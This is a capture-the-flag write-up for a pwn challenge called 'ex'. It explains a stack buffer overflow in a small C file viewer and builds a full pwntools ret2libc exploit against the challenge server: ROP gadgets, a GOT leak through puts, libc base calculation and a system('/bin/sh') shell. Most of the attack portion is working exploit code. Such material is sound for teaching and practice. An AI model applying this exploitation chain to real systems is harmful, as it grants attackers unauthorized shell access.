ex

08.06.2023

The Challenge

Players were given a small binary including the source code. The binary was similar to another challenge earlier in the competition, but the flag isn't loaded at runtime, so there's no direct leaking of it.

Checking the security of the binary reveals that NX is enabled, yet PIE is disabled. There's also no canary. It's dynamically linked, so it should take some figuring out to find a reliable exploit:)

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char** argv) {
    char input[24];
    char filename[24] = "\0";
    char buffer[128];
    FILE* f = NULL;
    setvbuf(stdout, 0, 2, 0);
    setvbuf(stdin, 0, 2, 0);
    if (argc > 1) {
        strncpy(filename, argv[1], 23);
    }
    while (1) {
        fgets(input, 128, stdin);
        input[strcspn(input, "\n")] = 0;
        if (input[0] == 'Q') {
            return 0;
        } else if (input[0] == 'f') {
            if (strlen(input) >= 3) {
                strcpy(filename, input + 2);
            }

            if (filename[0] == '\0') {
                puts("?");
            } else {
                puts(filename);
            }
        } else if (input[0] == 'l') {
            if (filename[0] == '\0') {
                puts("?");
            } else {
                if (strchr(filename, '/') != NULL) {
                    puts("?");
                    continue;
                }

                f = fopen(filename, "r");
                if (f == NULL) {
                    puts("?");
                    continue;
                }

                while (fgets(buffer, 128, f)) {
                    printf("%s", buffer);
                }
                fclose(f);
            }
        } else {
            puts("?");
        }
    }
}

The Vuln

Basically, this is a small "file editor", which contains a buffer overflow right here:

fgets(input, 128, stdin);
input[strcspn(input, "\n")] = 0;
if (input[0] == 'Q') {
    return 0;

To develop the exploit, it's necessary to start each payload with a "Q" in order to get it to return:

# PAYLOAD
trigger = b"Q"
padding = b"A"*39

Some Gadgets

We need some useful gadgets to continue our work.
"pop rdi, ret" and "ret" should suffice, and works within the same gadget.
Using radare2:

Adding them to our exploit:

# GADGETS
pop_rdi = p64(0x4014f3)
ret = p64(0x004014f4)

Leaking libc-base

(ASLR is enabled) -> in order to calculate the base address of libc, we need to leak something.
Let's create a helper function for that:

# GENERAL
main = p64(0x401276)

def leak_addr(gotptr):
    puts_plt = p64(0x401104)
    payload = trigger + padding + pop_rdi + gotptr + puts_plt + main
    p.sendline(payload)
    rsp = p.recvline()
    leaked = rsp.strip().ljust(8, b"\x00")
    leaked = u64(leaked)
    return leaked

Note that since PIE is disabled, the address of the "puts" function in the PLT (Procedural Linkage Table) can be hardcoded.
The same goes for "main", which is a hardcoded address of where the function should return to after executing "puts".
The function builds a small rop-chain in order to print the actual address of any function by passing its GOT (Global Offset Table) pointer.
This allows us to establish a reliable "read-what-where" primitive.

These pointers can be found using the following method (objdump):

Let's extend our exploit with a value and get the leak:

# GOT
libc_start_main_got = p64(0x403ff0)

# LEAKS
leaked_start_main = leak_addr(libc_start_main_got)
log.success("Leaked address: __libc_start_main @ " + str(hex(leaked_start_main)))

Determining libc-version

In order to determine the exact version of libc being used, we can use this leaked address.
There's several repositories and scripts, but libc.blukat.me is by far the best.
You don't even need to download and analyze the library to get your offsets;)

The link above takes you to an example query of an address leaked by me (The correct version I ended up using is already selected).
Note that it will provide with several possible libraries: To find the exact version, I had to leak the address of other functions as well, such as "puts" itself.

Each of these libc versions will return a valid "base address" when subtracting the offset of "__libc_start_main" from the address of "__libc_start_main".
This offset can then be added to the offset of "puts" in each possible library version, and should add up to the leaked address of our target "puts".

Adding to our script: The offset of "__libc_start_main", and calculating the libc base address from the leak above.

# GENERAL
main = p64(0x401276)
start_main_libc = 0x023f90

offset = leaked_start_main - start_main_libc
log.success("Offset: " + str(hex(offset)))

Completing the Exploit

Theres only so much left in order to finish the challenge: Calculate the addresses of our target functions, and pop a shell!
Adding to "general": Offsets for "system" and the "/bin/sh" string.
The payload: not really noteworthy, although that "ret" gadget was needed now in order to deal with stack alignment:)

# GENERAL
main = p64(0x401276)
system_libc = 0x052290
sh_libc = 0x1b45bd
start_main_libc = 0x023f90

log.success("System @ " + hex(offset + system_libc))
log.success("/bin/sh @ " + hex(offset + sh_libc))

# PWN
system_loc = p64(offset + system_libc)
sh_loc = p64(offset + sh_libc)

payload = trigger + padding + ret + pop_rdi + sh_loc + system_loc

p.sendline(payload)
p.interactive()

This seemed to work;) Here's the full exploit:

from pwn import *

p = remote("ex.hsctf.com", 1337)

def leak_addr(gotptr):
    puts_plt = p64(0x401104)
    payload = trigger + padding + pop_rdi + gotptr + puts_plt + main
    p.sendline(payload)
    rsp = p.recvline()
    leaked = rsp.strip().ljust(8, b"\x00")
    leaked = u64(leaked)
    return leaked

# GENERAL
main = p64(0x401276)
system_libc = 0x052290
sh_libc = 0x1b45bd
start_main_libc = 0x023f90

# PAYLOAD
trigger = b"Q"
padding = b"A"*39

# GADGETS
pop_rdi = p64(0x4014f3)
ret = p64(0x004014f4)

# GOT
libc_start_main_got = p64(0x403ff0)

# LEAKS
leaked_start_main = leak_addr(libc_start_main_got)
log.success("Leaked address: __libc_start_main @ " + str(hex(leaked_start_main)))

offset = leaked_start_main - start_main_libc
log.success("Offset: " + str(hex(offset)))
log.success("System @ " + hex(offset + system_libc))
log.success("/bin/sh @ " + hex(offset + sh_libc))

# PWN
system_loc = p64(offset + system_libc)
sh_loc = p64(offset + sh_libc)

payload = trigger + padding + ret + pop_rdi + sh_loc + system_loc

p.sendline(payload)
p.interactive()